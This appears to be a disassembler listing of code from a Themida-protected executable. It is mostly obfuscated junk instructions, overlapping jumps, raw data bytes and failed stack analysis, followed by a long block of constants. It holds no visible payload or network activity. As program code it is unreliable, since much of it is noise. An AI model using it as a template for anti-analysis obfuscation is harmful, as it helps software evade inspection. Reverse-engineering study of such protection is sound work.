		sub	cx, 8D8Fh
		call	sub_64DEAC
		jmp	far ptr	0E751h:0A6490872h

; =============== S U B	R O U T	I N E =======================================



sub_64DEAC	proc near		; CODE XREF: Themida_:0064DEA0p
		push	ecx
		push	esi
		pop	eax
		pop	esi
		pop	esi
		mov	ecx, 0B20CB5Ah
		sbb	ebx, 74AC9D43h
		adc	ah, 0DDh
		jnb	$+6
		cld
		mov	dh, 59h
		jmp	loc_64DEE0
; ---------------------------------------------------------------------------
		db 0B5h, 76h, 0A0h
; ---------------------------------------------------------------------------
		cmpsb


loc_64DED1:				; CODE XREF: Themida_:0064DE8Fj
		mov	ah, bl
		mov	word ptr [ebp-665EFC6Ah], fs
		cld
; ---------------------------------------------------------------------------
		dw 8C8Ch
		dd 3AAC2EBCh
; ---------------------------------------------------------------------------


loc_64DEE0:				; CODE XREF: sub_64DEAC+1Cj
		jb	loc_64DEF2
		pusha
		mov	dx, 0E379h
		jb	$+6
		popa


loc_64DEF2:				; CODE XREF: sub_64DEAC:loc_64DEE0j
		jmp	loc_64DF05
; ---------------------------------------------------------------------------
		db 0E2h
		dd 8DC6E95Ah, 311E82AEh, 87FF5DBBh
		db 0B7h
; ---------------------------------------------------------------------------


loc_64DF05:				; CODE XREF: sub_64DEAC:loc_64DEF2j
		call	near ptr loc_64DF13+1
		stc
		test	esp, esp
		add	[esi+3E9505B3h], esi


loc_64DF13:				; CODE XREF: sub_64DEAC:loc_64DF05p
		sub	eax, 834FC181h
sub_64DEAC	endp ; sp-analysis failed

		inc	eax
		push	ds
		pop	ebx
		mov	cx, dx
		xor	di, 0B456h
		sbb	ebx, 198BC6CEh
		mov	eax, ecx
		jmp	loc_64DF3E
; ---------------------------------------------------------------------------
		dd 24EA61Ch, 908DE8B0h,	95387CDEh
		db 73h,	35h
; ---------------------------------------------------------------------------


loc_64DF3E:				; CODE XREF: Themida_:0064DF2Bj
					; Themida_:0064DF75j
		jge	near ptr loc_64DF5F+4
		call	near ptr loc_64DF55+8
		db	64h
		icebp
		fucomi	st, st(1)
		in	eax, 9		; DMA controller, 8237A-5.
					; request register bits:
					; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
					; 2: 1=set request bit for channel; 0=reset request
		and	[ecx+270C4F58h], ah


loc_64DF55:				; CODE XREF: Themida_:0064DF44p
		and	dword ptr [ecx-7C686E11h], 42B93061h


loc_64DF5F:				; CODE XREF: Themida_:loc_64DF3Ej
		and	esi, [edi-137FA7B3h]
		cmpsd
		and	esi, 3BEC579Fh
		mov	bx, dx
		call	sub_64DF83
		xchg	eax, esi
		jp	short near ptr loc_64DF3E+2
		icebp
		xchg	bh, [ebp+6EC90121h]
		scasd
		outsd
		push	cs
		push	edx
		xchg	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_64DF83	proc near		; CODE XREF: Themida_:0064DF6Fp
		mov	eax, ebx
		pop	ecx
		movzx	edi, cx
		mov	si, 0A4EFh
		jo	loc_64DF95
		mov	edx, ecx


loc_64DF95:				; CODE XREF: sub_64DF83+Aj
		mov	ax, di
		mov	ax, 42B9h
		movzx	edi, cx
		push	edi
		jbe	loc_64DFAC
		jle	$+6


loc_64DFAC:				; CODE XREF: sub_64DF83+1Dj
		pop	edx
		sbb	dl, 0F2h
		push	ebx
		pop	edx
		jmp	loc_64DFC8
; ---------------------------------------------------------------------------
		db 32h
		dd 21C4A923h, 9C3CBBCAh, 7764A5AAh, 22024028h
; ---------------------------------------------------------------------------


loc_64DFC8:				; CODE XREF: sub_64DF83+2Fj
		adc	bh, 4Ah
		mov	bh, ah
		mov	ecx, 7C1921FEh
		clc
		add	bh, 0F0h
		call	near ptr loc_64DFE5+1
		mov	bl, 0B5h
		test	eax, 86D2DF96h
		pop	eax
		jp	short near ptr loc_64E01F+1


loc_64DFE5:				; CODE XREF: sub_64DF83+53p
		fbld	tbyte ptr [esi-48h]
sub_64DF83	endp ; sp-analysis failed

		int	3		; Trap to Debugger
		dec	ecx
		pop	ebx
		xor	ecx, 371BE464h
		jz	loc_64DFFA
		adc	ah, 0B2h


loc_64DFFA:				; CODE XREF: Themida_:0064DFF1j
		call	near ptr loc_64E009+5
		db	67h
		and	al, 51h
		push	ebp
		cmp	bh, [edi+4A4020E2h]


loc_64E009:				; CODE XREF: Themida_:loc_64DFFAp
		mov	byte ptr [eax-75BDA925h], 0F8h
		pop	edx
		mov	ah, 14h
		call	near ptr loc_64E025+1
		adc	al, 9Ah
		cmp	dword ptr [edx+34h], 60h
		dec	ebp


loc_64E01F:				; CODE XREF: sub_64DF83+60j
		sbb	byte ptr [eax+64h], 0F8h
		jbe	short near ptr loc_64E050+2


loc_64E025:				; CODE XREF: Themida_:0064E013p
		mov	ecx, 15C88166h
		pop	ebp
		pop	ecx
		add	ah, 7Ch
		pusha
		movsx	ecx, bx
		call	sub_64E045
; ---------------------------------------------------------------------------
		lodsd
		sbb	eax, 0ACE58AD8h
		cmp	ebx, [ecx]
		aam	9Fh
		sub	ecx, ebx
		push	ecx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_64E045	proc near		; CODE XREF: Themida_:0064E033p

; FUNCTION CHUNK AT 0064E0AF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0064E0D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0064E0E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0064E0F5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0064E122 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0064E12F SIZE 00000020 BYTES

		push	edi
		pop	ecx
		pop	esi
		popa
		stc
		jo	loc_64E05F


loc_64E050:				; CODE XREF: Themida_:0064E023j
		jmp	loc_64E05F
; ---------------------------------------------------------------------------
		jno	short loc_64E0AF
		jmp	fword ptr [eax-0Dh]
; ---------------------------------------------------------------------------
		dw 30ECh
		db 60h,	0A9h, 2Bh
; ---------------------------------------------------------------------------


loc_64E05F:				; CODE XREF: sub_64E045+5j
					; sub_64E045:loc_64E050j ...
		jno	loc_64E067
		mov	eax, edx


loc_64E067:				; CODE XREF: sub_64E045:loc_64E05Fj
		call	near ptr loc_64E06D+5
; ---------------------------------------------------------------------------
		into


loc_64E06D:				; CODE XREF: sub_64E045:loc_64E067p
		jmp	far ptr	0D081h:0FE4DBE6h
sub_64E045	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------
		or	[esi+esi*2], edi
		pop	ecx
		mov	esi, edx
		cmc
		jz	loc_64E08A
		jnb	loc_64E08A
		mov	edx, ebx


loc_64E08A:				; CODE XREF: Themida_:0064E07Cj
					; Themida_:0064E082j
		stc
		push	ecx
		pop	edi
		mov	eax, edi
		mov	edx, esi
		mov	ch, 89h
		cmc
		mov	bh, 0EEh
		pusha
		jmp	loc_64E0A5
; ---------------------------------------------------------------------------
		dd 3A114A9Dh, 0E5F8C9B3h
		db 0D2h
; ---------------------------------------------------------------------------


loc_64E0A5:				; CODE XREF: Themida_:0064E097j
		mov	ecx, esi
		popa
		jmp	loc_64E0C1
; ---------------------------------------------------------------------------
		js	short loc_64E118
; START	OF FUNCTION CHUNK FOR sub_64E045


loc_64E0AF:				; CODE XREF: sub_64E045+10j
		jp	short near ptr loc_64E05F+4
		pop	ds
		call	near ptr 0C5BE0499h
		insd
		pop	ds
		std
		cmp	[ebx], edi
		push	esp
		imul	ecx
		jns	short near ptr loc_64E05F+2


loc_64E0C1:				; CODE XREF: Themida_:0064E0A8j
		mov	eax, ecx
		push	edx
		or	esi, 11A19F42h
		pop	edi
		jmp	loc_64E0D9
; END OF FUNCTION CHUNK	FOR sub_64E045
; ---------------------------------------------------------------------------
		push	5
		xlat	byte ptr es:[ebx]
		db	67h
		retf
; ---------------------------------------------------------------------------
		dw 0C23Dh
byte_64E0D8	db 0B2h			; CODE XREF: sub_64E045+106j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_64E045


loc_64E0D9:				; CODE XREF: sub_64E045+86j
		jmp	loc_64E0E6
; END OF FUNCTION CHUNK	FOR sub_64E045
; ---------------------------------------------------------------------------
		dw 9FEh
		dd 1414D3ABh
		db 0A7h, 0C6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_64E045


loc_64E0E6:				; CODE XREF: sub_64E045:loc_64E0D9j
		jmp	loc_64E0F5
; END OF FUNCTION CHUNK	FOR sub_64E045
; ---------------------------------------------------------------------------
		db 1Ch
		dd 0E7164FE2h, 0E1E874F1h
		db 79h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_64E045


loc_64E0F5:				; CODE XREF: sub_64E045:loc_64E0E6j
		xor	eax, 749533F0h
		add	edi, 1B813213h
		mov	eax, edx
		jnz	loc_64E10A
		cmc


loc_64E10A:				; CODE XREF: sub_64E045+BEj
		jmp	loc_64E122
; END OF FUNCTION CHUNK	FOR sub_64E045
; ---------------------------------------------------------------------------
		db 75h
		dd 390474CDh, 0AE246E5Ch
; ---------------------------------------------------------------------------


loc_64E118:				; CODE XREF: Themida_:0064E0ADj
		mov	ebx, 0DA72BC90h
; ---------------------------------------------------------------------------
		db 8, 0A1h, 30h
		db 8Fh,	8Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_64E045


loc_64E122:				; CODE XREF: sub_64E045:loc_64E10Aj
		jmp	loc_64E12F
; END OF FUNCTION CHUNK	FOR sub_64E045
; ---------------------------------------------------------------------------
		db 46h
		dd 0E42EC420h
; ---------------------------------------------------------------------------
		xor	[eax], cl
		pop	ss
; START	OF FUNCTION CHUNK FOR sub_64E045


loc_64E12F:				; CODE XREF: sub_64E045:loc_64E122j
		sub	ah, 0BFh
		mov	ebx, edx
		mov	bl, 0Eh
		mov	dx, 0D563h
		push	ecx
		call	near ptr sub_64E14F
		xor	ebp, [ebx-71297153h]
		leave
		int	80h		; LINUX	-
		fcom	dword ptr [edi]
		jecxz	short near ptr byte_64E0D8
		inc	eax
		dec	edi
; END OF FUNCTION CHUNK	FOR sub_64E045

; =============== S U B	R O U T	I N E =======================================



sub_64E14F	proc far		; CODE XREF: sub_64E045+F6p
		push	eax
		pop	eax
		pop	eax
		pop	eax
		jmp	loc_64E167
; ---------------------------------------------------------------------------
		dd 0A38E909Dh, 250583DBh, 75C2BE03h
		db 0D9h, 0C1h, 0Bh
; ---------------------------------------------------------------------------


loc_64E167:				; CODE XREF: sub_64E14F+4j
		jnb	loc_64E16E
		cld


loc_64E16E:				; CODE XREF: sub_64E14F:loc_64E167j
		xor	bx, 49E7h
		jnz	loc_64E182
		jb	loc_64E182
		add	al, 32h


loc_64E182:				; CODE XREF: sub_64E14F+24j
					; sub_64E14F+2Aj
		jmp	loc_64E192
; ---------------------------------------------------------------------------
		db 0B0h
		dd 25206D6Ch, 0A710F5B0h
		db 32h,	7Ch
; ---------------------------------------------------------------------------


loc_64E192:				; CODE XREF: sub_64E14F:loc_64E182j
		mov	cl, al
		cld
		cld
		mov	edi, eax
		jno	loc_64E1A1
		movsx	eax, ax


loc_64E1A1:				; CODE XREF: sub_64E14F+49j
		movsx	esi, cx
		jmp	loc_64E1AF
; ---------------------------------------------------------------------------
		xor	ebx, [eax-18118C48h]


loc_64E1AF:				; CODE XREF: sub_64E14F+55j
		mov	bx, si
		push	edi
		mov	dx, cx
		pop	esi
		call	sub_64E1CE
		retf
sub_64E14F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 93h,	1Ch, 20h
		dd 2BCDE2FAh, 923C71A1h, 75902A2Eh
; ---------------------------------------------------------------------------
		das
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_64E1CE	proc near		; CODE XREF: sub_64E14F+68p
		xor	esi, 0AFDDF39h
		pop	eax
		clc
		jmp	loc_64E1ED
; ---------------------------------------------------------------------------
		db 1
		dd 0F54F974Dh, 1DB01D15h, 0EA313FFDh, 202BC6DFh
		db 33h
; ---------------------------------------------------------------------------


loc_64E1ED:				; CODE XREF: sub_64E1CE+8j
		jbe	loc_64E1F9
		pusha
		mov	bl, cl
		push	ecx
		pop	ebx
		popa


loc_64E1F9:				; CODE XREF: sub_64E1CE:loc_64E1EDj
		sub	bx, 0C985h
		mov	edx, 51F3D48Ah
		movsx	esi, bx
		mov	ecx, esi
		sbb	cx, 91B4h
		clc
		adc	edi, 6CA71020h
		jns	$+6
		mov	edi, 785ED329h
		jmp	loc_64E229	; CODE XREF: sub_64E1CE+6Fj
; ---------------------------------------------------------------------------
		dd 0D40DA761h
		db 63h
; ---------------------------------------------------------------------------


loc_64E229:				; CODE XREF: sub_64E1CE+51j
		xor	cx, 5ECBh
		call	sub_64E246
		fcomp5	st(2)
		dec	edi
		push	es
		int	87h		; used by BASIC	while in interpreter
		push	ebp
		adc	[edi+19h], al
		js	short near ptr loc_64E21F+3
		cmp	bh, ds:84AD59BBh
		inc	edx
sub_64E1CE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_64E246	proc near		; CODE XREF: sub_64E1CE+60p
		adc	si, 3BCDh
		pop	edi
		movsx	ebx, ax
		jl	loc_64E25A
		sub	bx, 8EBCh


loc_64E25A:				; CODE XREF: sub_64E246+9j
		mov	dl, cl
		movsx	edi, dx
		pusha
		jmp	loc_64E278
; ---------------------------------------------------------------------------
		align 2
		dw 85B9h
		dd 633BAEA4h, 0EC5E1E99h, 0DB0591EDh, 0C44E90DDh
; ---------------------------------------------------------------------------


loc_64E278:				; CODE XREF: sub_64E246+1Aj
		mov	ch, al
		popa
		adc	ch, 0E4h
		mov	edx, ecx
		adc	bx, 0D4BEh
		cmc
		xor	edx, 4C427DB4h
		mov	ecx, 0C839EA1h
		jz	loc_64E29C
		mov	edi, 6C7ECFC7h


loc_64E29C:				; CODE XREF: sub_64E246+4Bj
		pusha
		mov	cx, bx
		jo	loc_64E2A9
		movsx	ecx, di


loc_64E2A9:				; CODE XREF: sub_64E246+5Aj
		popa
		sbb	eax, 79DD6CCh
		pusha
		movsx	eax, dx
		push	eax
		pop	edi
		popa
		jmp	loc_64E2C2
; ---------------------------------------------------------------------------
		dd 6D5379FAh
		db 8Dh,	0C3h
; ---------------------------------------------------------------------------


loc_64E2C2:				; CODE XREF: sub_64E246+71j
		movsx	edi, dx
		or	ebx, 4873F433h
		xor	bx, 4335h
		mov	di, dx
		sub	edi, 767D3727h
		jmp	loc_64E2E5
; ---------------------------------------------------------------------------
		dw 0A00Bh
		dd 0B5A75965h
		db 15h
; ---------------------------------------------------------------------------


loc_64E2E5:				; CODE XREF: sub_64E246+93j
		push	edx
		sbb	cx, 0C46Fh


loc_64E2EB:				; CODE XREF: sub_64E246+AFj
		pop	edx
		pusha
		mov	cx, di
		call	near ptr loc_64E304+1
		jg	short loc_64E2EB
		sbb	[edi], ebx
		mov	[ecx+ecx*2], esi
		sub	dl, [ecx]
		sbb	ch, [edi+6D82D79Bh]


loc_64E304:				; CODE XREF: sub_64E246+AAp
		out	0E8h, al
sub_64E246	endp ; sp-analysis failed

		adc	eax, [eax]
; ---------------------------------------------------------------------------
		dd 86E00000h, 0B304C6FEh, 8EBADCD3h, 0B8295E25h, 1A2DD16Ah
		dd 61585853h, 6E9h, 524FFE00h, 0BF914C68h, 1B30F2F4h, 9288BA66h
		dd 0F96289B9h, 0C88BF559h, 0FAB70F50h, 0FE9605Bh, 0E5000000h
		dd 0BF83750Ch, 94E19DB5h, 0E3477A0Ch, 0C3B56E7Bh, 0E960F961h
		dd 11h,	0F8C4BA72h, 3DB2C0D6h, 0C76369E3h, 0B3ABA9E0h
		dd 7E96168h, 1A000000h,	0C9873132h, 0F08BF2A4h,	12E8h
		dd 9BC14900h, 24728E31h, 2ABD19B2h, 195A324Dh, 66025A95h
		dd 0BA5FD88Bh, 77E23CFEh, 0CABF0FF9h, 50CE8B66h, 5E9h
		dd 24B7D800h, 0F58F4A1h, 484h, 61606000h, 0BE961h, 1FB40000h
		dd 456347FAh, 2F89F8ADh, 8BF5B063h, 0CABF0FCEh,	66C8B70Fh
		dd 0FC904B9h, 1788h, 12E900h, 5690000h,	4F0898A3h, 196F503Ch
		dd 52B355D0h, 0FE6A644h, 28D0Fh, 0C18B0000h, 0BE8CE8Bh
		dd 0B4000000h, 0FF93BCBFh, 849B6E3Dh, 85B9A4A0h, 5A66B5DAh
		dd 3820Fh, 0B70F0000h, 10CA81DFh, 0F3FAD57h, 148Fh, 0FE900h
		dd 87360000h, 0E7604EB4h, 75612EEBh, 9A5281C6h,	0D0E08151h
		dd 0E9718E94h, 12h, 71567876h, 0A1E7864Bh, 681C5BD5h, 0DFB1FB66h
		dd 0C78AD787h, 9E8h, 0D8D60000h, 309E551Dh, 0BB669BE2h
		dd 0B15E94BCh, 58F0F25h, 52000000h, 5FD7B70Fh, 5EF781F9h
		dd 526F382Fh, 665EDC8Ah, 8166CF8Bh, 66704AEEh, 5E8DC981h
		dd 0C3F202BFh, 0CB8B662Fh, 29A2D4BBh, 98B8661Fh, 0F810F33h
		dd 60000000h, 5E8h, 517E4900h, 5358FB2Fh, 51506158h, 2CD38166h
		dd 8B595801h, 0AABFBEC7h, 13E92DE6h, 0F4000000h, 338EA04Eh
		dd 0AAE2990Fh, 0A9FAE14Bh, 5FFAC78Dh, 66F94498h, 1D30C181h
		dd 0F8CA8B66h, 0B462BF66h, 8B664CB6h, 14E860FAh, 0A1000000h
		dd 5E49D03Dh, 41E690A5h, 1186DD49h, 0AE0AC0BEh,	59706A81h
		dd 615FFC52h, 0F5766B2h, 8B5ED2B7h, 0BED380D3h,	0E5548B8h
		dd 5BD3803Ah, 0B09BF50h, 0FC5F14DBh, 0D9D181F5h, 0F70570Ch
		dd 41BBD7BFh, 0E8511D5Bh, 10h, 6346E4A4h, 0E53D147Ah, 52FCD705h
		dd 7198E207h, 2860Fh, 59500000h, 87DA815Fh, 563F76ACh
		dd 0E95F5952h, 14h, 45D9318Ch, 3E87D03Bh, 9120E2Fh, 0C00C5A17h
		dd 276A3E48h, 0CE8B6651h, 118F0F5Ah, 0E8000000h, 6, 0F3497FD6h
		dd 32BE5DFFh, 585E0F77h, 66F8B1B3h, 6BFCD281h, 0E9F3BF0Fh
		dd 12h,	0C5FFABF5h, 5198C2B3h, 1C0C3661h, 0AA85FF6Bh, 0C4809AF4h
		dd 0DFBF0F5Bh, 168A0Fh,	11E90000h, 3E000000h, 21D4DB76h
		dd 0F1A6E9FAh, 0CF781E5h, 0E325256Fh, 0F599BA66h, 2810Fh
		dd 0FAB30000h, 0FBEE880h, 80FCDBB7h, 25BEE5D5h,	81390F28h
		dd 6BA0D0DAh, 38E0F28h,	66000000h, 8B66DF8Bh, 4B91BBF1h
		dd 78B73F77h, 2BB261BEh, 0D7816029h, 4619D57h, 8B666061h
		dd 0AE981D7h, 612E39B8h, 81D6BF0Fh, 600A7EDEh, 0D820F31h
		dd 0E9000000h, 8, 62BA485Ch, 0D42B8AFEh, 68C0F60h, 81000000h
		dd 0D80736EFh, 8B666154h, 26F280C3h, 13E963B2h,	0E4000000h
		dd 0C7033C10h, 5927DC0h, 0CFCB095Eh, 0A9A5A197h, 0F6031A6h
		dd 0D88AD9B7h, 5810F61h, 0B9000000h, 10CA742Bh,	6E8h, 39DCF00h
		dd 0F46D676h, 1980h, 13E800h, 23850000h, 1503AA6Ah, 0F3275EFBh
		dd 0C82D1F9Dh, 968DBE34h, 0E95E5F5Bh, 0Dh, 99A8A40Fh, 0E27CC865h
		dd 8ABC08EFh, 9565BBD1h, 10B90D3Bh, 5070E28Bh, 815BCE8Bh
		dd 2D3E2DF6h, 1880F05h,	0F5000000h, 98E0Fh, 850F0000h
		dd 3, 0E9F28B66h, 0Ch, 6DA65DC0h, 468A1B82h, 697FE39h
		dd 8E8h, 0F2EC9500h, 9537D659h,	0F38B6668h, 13E95Ah, 5C0B0000h
		dd 9F078C0h, 0D1066B45h, 4C20BEF1h, 0BED4F249h,	1C830FADh
		dd 0E8000000h, 14h, 0E39B6D7h, 0F3CFE7B4h, 5E013A5h, 77C081E4h
		dd 9095AF34h, 0E95A6160h, 11h, 3519BAD9h, 0F65E2885h, 201DC5C9h
		dd 0AE793F75h, 0D6BF0FB6h, 0B209DE80h, 0CFBF0F1Eh, 13E9h
		dd 2ED66E00h, 2B41B8A6h, 95080E85h, 2A3B8743h, 0C923921Bh
		dd 0B4F08B66h, 12E9C8h,	0CD0C0000h, 0CA5A0DA5h,	5087D206h
		dd 43440580h, 0A700564h, 51D3BF0Fh, 58D6BF0Fh, 0AE957h
		dd 162D0000h, 7C35A6F5h, 47ADDAD9h, 0BCB8605Bh,	0B050C43Bh
		dd 66FC61E2h, 0B9580BB8h, 4575163Dh, 609DE980h,	0EE950h
		dd 5E700000h, 2D72C18Eh, 538D7D7Dh, 0B4753F21h,	8061F95Fh
		dd 8F0FAFDCh, 5, 0CE8B6660h, 28D0F61h, 0B6000000h, 0A830F3Ah
		dd 0F000000h, 485h, 39B96600h, 81666040h, 0F6B0ECAh, 8161FABFh
		dd 5CC9C2D0h, 0C981661Ch, 12E8521Ch, 8C000000h,	23AF92EFh
		dd 0B0D7A9D4h, 2F54B357h, 0EF81AD44h, 0B70F5FF1h, 0CA8B66C8h
		dd 10E8h, 4984E200h, 0B3858E5Ah, 2884E302h, 0EC796D27h
		dd 0BA665256h, 595B340Ch, 0FE960h, 13380000h, 0FE193505h
		dd 81981277h, 92B1042Ch, 81666171h, 8AF1FBCBh, 0DE9FDh
		dd 688C0000h, 60D8E3F6h, 0AFFB2481h, 0F5F22B2h,	0C8Eh
		dd 68C0F00h, 0F000000h,	81h, 3820F00h, 80000000h, 8BBF2AE6h
		dd 0F518CD3h, 0AE8CAB7h, 92000000h, 9725910Dh, 6A2ED2F7h
		dd 99C98177h, 5918CC0Eh, 66FEBF0Fh, 0B50CE181h,	0FCF8B66h
		dd 0C8Ch, 68D0F00h, 0F000000h, 8Dh, 75CB8000h, 0CE9h, 0DA249A00h
		dd 0AA7CD00Ah, 44AE5785h, 5E872h, 937F0000h, 664DE870h
		dd 3111C781h, 88A0F5Bh,	51000000h, 0DFF8C281h, 0E95F38E3h
		dd 0Eh,	0FA3FE0CDh, 0A0DF3467h,	94390CE9h, 0C7818B84h
		dd 3323A5F7h, 13E9h, 0DD3F7900h, 4EB1A86Ch, 0DFBE761Bh
		dd 5808DB4Ah, 8E8909DCh, 0E9CF8B66h, 5,	0D3738BA4h, 0FF5ABE9Ch
		dd 0B6F5424Fh, 66606035h, 61F8D08Bh, 725E7BB9h,	0B70F6115h
		dd 0F8B70FF8h, 5E956h, 13520000h, 5800A4E7h, 7E8h, 99066300h
		dd 98EB699Bh, 575A72B1h, 8C0Fh,	8B5E0000h, 15890FD7h, 0E8000000h
		dd 9, 0B56EAFE7h, 0C5458B06h, 75DB8181h, 5B2DDDDEh, 14E9FCh
		dd 0C56E0000h, 803D51BCh, 0D90A7DE8h, 1DA51D68h, 0DF8A140h
		dd 37BA7C6Fh, 606FFC0Bh, 61F08B66h, 11E9h, 4DCA0B00h, 0AB8BDCD2h
		dd 487E8E85h, 0DA4FF69Ch, 0C78BA243h, 0AE96E881h, 10E951B8h
		dd 37000000h, 41B011A0h, 77DF2173h, 82F3D63Dh, 6647DF71h
		dd 0CE8BC28Bh, 5BA1C081h, 8B6637ACh, 0D98B66DAh, 0E951F18Ah
		dd 0Bh,	5BC517AAh, 0EBFFD1ACh, 5821D3A6h, 880FE1B4h, 6
		dd 64D0DF81h, 0D8811DFDh, 69FE23BDh, 8BC88B66h,	0F78160F1h
		dd 0A0FF600h, 43B2B861h, 14E84532h, 7000000h, 426A6B49h
		dd 0CBAF4A1Bh, 33FEBD05h, 5F28CC7Fh, 0F8D9FA6h,	586h, 176B800h
		dd 605A482Eh, 0F7BEC80h, 8Ch, 37B16100h, 37CC6DBEh, 0E8CB8B69h
		dd 14h,	7D935A2Ch, 601CD3F3h, 9887CAE5h, 0AB6249DCh, 0E35EDF72h
		dd 712B6ABEh, 81665A15h, 8B32A7F2h, 59F952CEh, 603FD780h
		dd 5B616053h, 4ABA6661h, 0DD9AB880h, 89BA1480h,	0E9157659h
		dd 0Ch,	4EE36C1Eh, 39C81815h, 0D6AB66D8h, 0DE9h, 43AA2A00h
		dd 21AB4772h, 5EA79C27h, 0F0B2333Bh, 3B9BD281h,	8E9377Ah
		dd 0D9000000h, 9785EA17h, 81B05057h, 225D84D0h
		dd 0D8D0F68h, 0E9000000h, 8, 0DAE60B48h, 551F55A4h, 0FDCCC381h
		dd 0E3804DA4h, 0D68B669Bh, 0DFB70FF9h, 6CEAD081h, 0C381197Dh
		dd 1B45C3C8h, 0D92BBA66h, 8AB8E080h, 5E9D1h, 3A920000h
		dd 0BAB7D736h, 53BDAA50h, 6DBAF28Bh, 522B1403h,	0C4E88166h
		dd 5E85997h, 27000000h,	336D9105h, 2860Fh, 5A560000h, 2830F59h
		dd 8B000000h, 0F8D0FF0h, 60000000h, 8E9h, 8BC46B00h, 7DDFA753h
		dd 0BF0F6127h, 0DE960D9h, 80000000h, 3B8EB88Dh,	4A23A583h
		dd 3C1A6CA7h, 0EF816651h, 61595E62h, 5B4B3DBFh,	0F8BF0F74h
		dd 2C800Fh, 13E80000h, 0DE000000h, 8365E2A2h, 6E90BD2Fh
		dd 0A2BB90D0h, 0C14C389Dh, 0EE97D00h, 0D000000h, 79FE43D6h
		dd 0F0AF291Fh, 0FF191426h, 8B665A63h, 5BBA66D8h, 2FDE8141h
		dd 0E8251D5Dh, 9, 58598C97h, 0E38159D7h, 5EF18B4Dh, 9E9h
		dd 0D486A600h, 0F303C862h, 0BF0F4E99h, 0B4F5B5D0h, 0DB866AFh
		dd 0BE9FC64h, 3D000000h, 176D8D1Fh, 29582B5Eh, 11E91AE2h
		dd 0DD000000h, 4EFBA50Bh, 61ECD2FDh, 0A8C3290Bh, 0B63F4C4Eh
		dd 9890Fh, 8A0F0000h, 3, 8B2DE980h, 0CCBB66D6h,	158F0FA4h
		dd 0E8000000h, 0Fh, 88535E4Fh, 98D58CF3h, 336552BAh, 5F0B89ACh
		dd 5AB96060h, 616DD6ADh, 1D860F61h, 0E8000000h,	12h, 0FA4C4E6h
		dd 1DBD8A80h, 32E518A8h, 840EEA2h, 5BBA2687h, 5F2B8C79h
		dd 0E9C18B66h, 8, 6E1EA98Dh, 6A6A6336h,	0C04B1CB8h, 0BE85Dh
		dd 0A2B70000h, 0B711681h, 58BBB699h, 81665719h,	59BEF3D9h
		dd 19890F5Ah, 0E9000000h, 14h, 70009E65h, 8F3B4A3Fh, 381C0BEEh
		dd 0CB8FDE35h, 9721BBA5h, 0E58AF960h, 58C0F61h,	66000000h
		dd 8DF7E381h, 41F5D381h, 860F4F9Fh, 5, 0FFE68166h, 0DA816691h
		dd 870F4E0Dh, 2, 0BF0F71B6h, 2AB866C0h,	14E96Dh, 7E5B0000h
		dd 5D6F5473h, 2AC9250Bh, 6BC9C491h, 840491EAh, 0F552CFFBh
		dd 68D0F58h, 81000000h,	810432D7h, 0FFA8A49h, 1480h, 0E860F00h
		dd 0E8000000h, 8, 3D6FB4F6h, 0FD7BE89Eh, 0E9816659h, 0E950228Ch
		dd 0Ah,	97C3BE12h, 0A9AD9C75h, 0F59B17Eh, 0F860FEBFh, 8E9h
		dd 0C88FC500h, 78FEE006h, 0BA66618Eh, 15B08E98h, 14E8h
		dd 0B69C0800h, 28D4D420h, 973F7317h, 0E31D8651h, 52A5D089h
		dd 0A8A0FF6h, 0E9000000h, 5, 883E769Bh,	81665EF4h, 81D4D6C9h
		dd 5AC38BD3h, 0DC8A600Eh, 8E861h, 389A0000h, 19350513h
		dd 69BB77FEh, 5F4BD3E7h, 0BE8h,	5602AC00h, 13AE6C9Bh, 1E889823h
		dd 0C8E0Fh, 7E90000h, 47000000h, 0A7DCCEEBh, 815A1C1Eh
		dd 797525C7h, 8F0F6063h, 10h, 0BE9h, 6B92F300h,	715FE925h
		dd 0E401C212h, 138D0Fh,	0DE80000h, 2F000000h, 53EB7AA8h
		dd 0A2B48B87h, 0F6B64A10h, 0BF0F615Ah, 0FD78BFBh, 890FF3BFh
		dd 5, 0A2EA8166h, 0FEDC80C3h, 5BC38B57h, 0BBC9BB66h, 0C180D1B6h
		dd 0D38B66C4h, 0ED7BBF53h, 815F4F38h, 0C78EFDCAh, 10E824h
		dd 3B3E0000h, 0C41C5753h, 0CB5AF4EAh, 0BC706786h, 0CE8B5D2h
		dd 51000000h, 0F94CB0E6h, 0D439CC9Eh, 0BAE6B4FFh, 3FBDC82Ch
		dd 0CE9585Fh, 0B4000000h, 0BC2D8BAEh, 5ED17D79h, 0E958F73Dh
		dd 8, 55A28302h, 99583B8Dh, 8AEBF4BEh, 1840F75h, 0F9000000h
		dd 0CE8h, 0EF7F0C00h, 84F0BD4Fh, 9AF3EE67h, 73DC8088h
		dd 1830F58h, 0F8000000h, 0EE9h,	91361C00h, 1DB882B8h, 15908A75h
		dd 6665194Ah, 7E9DF8Bh,	0CF000000h, 936EA5D4h, 840F9631h
		dd 2, 7E92FB2h,	6C000000h, 0DEDD11F7h, 0B70F20A7h, 18830FCAh
		dd 0E9000000h, 13h, 30E6D155h, 3276B79Ah, 0D8AC7415h, 70FCBDA3h
		dd 0FABA57Bh, 50B3D9B7h, 1BC295B8h, 0ED76B806h,	9ABB7C50h
		dd 0E867DEEAh, 0Ah, 2E7BA36Eh, 0DFF83371h, 0BA660FC4h
		dd 0BF5E0CB8h, 6BB3AD49h, 0D132C881h, 0BF0F220Eh, 5E8D9h
		dd 7D3B0000h, 0E881ACEBh, 0Dh, 0C2D139C3h, 0E551147Eh
		dd 5D7C9921h, 0BE8CAh, 72B70000h, 0D14C2873h, 0F0020E9Fh
